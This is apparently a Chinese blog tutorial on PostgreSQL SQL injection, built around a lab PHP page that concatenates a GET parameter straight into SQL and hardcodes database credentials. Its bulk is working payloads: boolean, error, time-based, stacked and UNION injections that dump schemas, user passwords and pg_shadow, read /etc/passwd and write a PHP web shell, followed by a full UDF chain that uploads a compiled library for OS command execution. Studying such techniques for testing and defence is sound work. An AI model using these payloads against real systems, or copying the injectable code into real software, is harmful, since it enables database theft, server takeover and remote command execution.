Postgresql注入笔记

Postgresql注入笔记

一、前期准备

1. 测试环境

192.168.89.146  数据库服务器
    Ubuntu-14.04
    Postgresql-9.6

10.0.1.44       web服务器
    windows server2008
    phpstudy2016
    客户端软件:pgAdmin4

2. 测试数据结构和内容

模式名:public
数据库名称:test
数据表名称:tbuser
数据内容和结构参考下图

3. 调用postgresql数据的php代码

<?php
header("Content-type: text/html; charset=utf-8"); 
//echo'please add "?uid="';
$id = $_GET['uid'];

$host        = "host=192.168.89.146";
$port        = "port=5432";
$dbname      = "dbname=test";
$credentials = "user=postgres password=P@ssw0rd";


$db = pg_connect( "$host $port $dbname $credentials"  );
if(!$db){
    echo "Error : Unable to open database\n";
}
$sql = "select * from tbuser where id=$id";
$result =  pg_query($db,$sql);

if ($result){
    while(list($id,$username,$passwd)= pg_fetch_row($result)){
        echo "用户名:" . $username . "<br/>";
        echo "用户密码:" . $passwd . "<br/>";
    }
}

4. 浏览器访问数据

整型参数查询url:http://10.0.1.44/postgreuix/test.php?uid=1
字符串型参数查询url:http://10.0.1.44/postgreuix/str.php?name=admin


二、验证注入点

1. 基于布尔型注入(boolean-based blind)

整型参数
    test.php?uid=1 AND 1=1     运行正常
    test.php?uid=1 AND 1=2     运行异常

字符型参数
    str.php?name=admin' and '1'='1     运行正常
    str.php?name=admin' and '1'='1     运行异常    

2. 基于报错注入(error-based)

参考Sqlmap
    uid=1 AND 7778=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (7778=7778) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(112)||CHR(106)||CHR(113)) AS NUMERIC)

语法解析:
    cast ('1' as numeric)    1转换为数字类型
    Numeric(10,2)          指字段是数字型,长度为10 小数为两位的 
    1::text                数据类型转换为text类型
    case...when...then...else...end  条件语句
    
获取版本号:
    select * from tbuser  where id=1 AND 7778=CAST((SELECT version())::text AS NUMERIC)
    
获取Schemas名称
    select * from tbuser  where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables limit 1)::text AS NUMERIC)
    select * from tbuser  where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables where schemaname not in ('public') limit 1)::text AS NUMERIC)

3. 基于时间的盲注(time-based blind)

参考Sqlmap
    ?uid=1 AND 6489=(SELECT 6489 FROM PG_SLEEP(5))
    延时5秒

4. 基于堆叠查询(多语句查询,stacked queries)

参考Sqlmap
    ?uid=1;select PG_SLEEP(5)--
    我觉得此处使用PG_SLEEP(5)是由于无需其他信息即可验证注入点存在,如使用select前需要先知道字段数量

5. 基于联合查询(UNION query)

?uid=1 order by 1,2,3                           运行正常
?uid=1 order by 1,2,3,4                         运行异常,获取字段数3
?uid=1 UNION ALL SELECT NULL,('11111'),NULL--   查看是否输出11111

三、获取数据库结构和内容

此处均基于联合查询

1. 获取模式名称(schemaname)名称

参考Sqlmap
    ?uid=1 UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM pg_tables

简化:
    ?uid=1 UNION SELECT NULL,COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))),NULL FROM pg_tables--
    
    语法解析:
    COALESCE(expression[,n])    coalesce函数返回参数(列名)中第一个非NULL值的字段值,注意不是为空''
    cast ('1' as numeric)         1转换为数字类型

简化:
    ?uid=1 UNION SELECT NULL,schemaname,NULL FROM pg_tables--

用户创建的数据库默认模式名称(schemaname)为public

2. 获取数据表名称

参考Sqlmap
    ?uid=1 UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(tablename AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM pg_tables WHERE schemaname IN ((CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)))
    
简化:
    uid=1 UNION ALL SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname IN ('public')

3. 获取表字段名称

参考Sqlmap
    ?uid=1 UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(attname AS CHARACTER(10000)),(CHR(32)))||(CHR(106)||CHR(115)||CHR(97)||CHR(110)||CHR(101)||CHR(117))||COALESCE(CAST(typname AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname=(CHR(116)||CHR(98)||CHR(117)||CHR(115)||CHR(101)||CHR(114)) AND nspname=(CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99))--

简化:
    ?uid=1 UNION SELECT NULL,attname,NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='tbuser' AND nspname='public'--

4. 获取表内容

参考Sqlmap
    UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(id AS CHARACTER(10000)),(CHR(32)))||(CHR(106)||CHR(115)||CHR(97)||CHR(110)||CHR(101)||CHR(117))||COALESCE(CAST(passwd AS CHARACTER(10000)),(CHR(32)))||(CHR(106)||CHR(115)||CHR(97)||CHR(110)||CHR(101)||CHR(117))||COALESCE(CAST(username AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM public.tbuser--

简化:
    ?uid=1 UNION ALL SELECT NULL,COALESCE(CAST(id AS CHARACTER(10000)),(CHR(32)))||COALESCE(CAST(username AS CHARACTER(10000)),(CHR(32)))||COALESCE(CAST(passwd AS CHARACTER(10000)),(CHR(32))),NULL FROM public.tbuser--

简化整理:
    ?uid=1 UNION ALL SELECT NULL,id||','||username||','||passwd,NULL FROM public.tbuser--

三、文件或目录操作

1. PostgreSQL中部分内置函数、表

Item Value
获取数据库类型及版本 ?uid=1 UNION SELECT NULL,version(),NULL
目前执行环境中的用户名 ?uid=1 union ALL select NULL,current_user,NULL
当前数据库名字 ?uid=1 union ALL select NULL,current_database() ,NULL
此表包含数据库用户的信息 ?uid=1 UNION SELECT NULL,usename,passwd from pg_shadow
postgresql安装目录 ?uid=1 union SELECT NULL,setting,NULL FROM pg_settings WHERE name='data_directory'

参考:http://www.php100.com/manual/PostgreSQL8/functions-info.html

2. 列目录——只能列安装目录下的文件

?uid=1 union select NULL,NULL,pg_ls_dir('./')

只显示目录名
?uid=1 and 1=2 union select NULL,NULL,pg_ls_dir('./')            

3. 读文件

?uid=1;CREATE TABLE passwd(t TEXT);COPY passwd FROM '/etc/passwd';SELECT NULL,t,NULL FROM passwd;

简化:
?uid=1;
CREATE TABLE passwd(t TEXT);
COPY passwd FROM '/etc/passwd';
SELECT NULL,t,NULL FROM passwd;

4. 写文件

?uid=1;DROP TABLE hacktb;CREATE TABLE hacktb (t TEXT);INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");?>');COPY hacktb(t) TO '/tmp/hack.php';

简化:
?uid=1;
DROP TABLE hacktb;
CREATE TABLE hacktb (t TEXT);
INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");?>');
COPY hacktb(t) TO '/tmp/hack.php';

四、命令执行

1. 下载编译sqlmap工程提供的udf源码

获取源码
>git clone https://github.com/sqlmapproject/udfhack/

编译源码(数据库版本:9.6)
> cd udfhack/linux/64/lib_postgresqludf_sys
> apt-get install postgresql-server-dev-9.6
> gcc -Wall -I/usr/include/postgresql/9.6/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o udf64.so
> strip -sx udf64.so

2. 利用python脚本对生成的so文件编码,并切割成每段小于2k的片段

#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "Usage:python " + sys.argv[0] + "inputfile"
        sys.exit()
    fileobj = open(sys.argv[1],'rb')
    i = 0
    for b in fileobj.read():
        sys.stdout.write(r'{:02x}'.format(ord(b)))
        i = i + 1
        if i % 1023 == 0:
            print "\n"
    fileobj.close()

python hex.py udf64.so

3. 利用 PostgreSQL 的“大对象数据”将so文件写入目标服务器

SELECT lo_create(12345);

INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4602010100000...200', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000000000000000...e36', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('005f6564617461005f5...9e0', 'hex'));
...
INSERT INTO pg_largeobject VALUES (12345, 13, decode('6300746578745f7074...200', 'hex'));

SELECT lo_export(12345, '/var/lib/postgresql/9.6/main/udf.so');

SELECT lo_unlink(12345);

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS "/var/lib/postgresql/9.6/main/udf.so", "sys_eval" LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

select sys_eval('id');

参考:

  1. https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247484788&idx=1&sn=8a53b1c64d864cd01bab095d97a17715&chksm=ec1e355cdb69bc4a2535bc1a053bfde3ec1838d03936ba8e44156818e91bbec9b5b04a744005#rd
  2. https://www.secpulse.com/archives/33105.html
  3. http://www.91ri.org/6507.html

推荐阅读更多精彩内容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 6,101评论 1 20
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 1,263评论 0 5
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 105,216评论 12 126
  • About:PostgreSQL About 《PostgreSQL 源码分析系列》 PostgreSQL 源码分...
    ty4z2008阅读 5,760评论 1 39
  • SQLMAP作用 判断可注入的参数 判断可以用哪种SQL注入技术来注入 识别出哪种数据库 根据用户选择,读取哪些数...
    陆洒脱阅读 3,121评论 1 4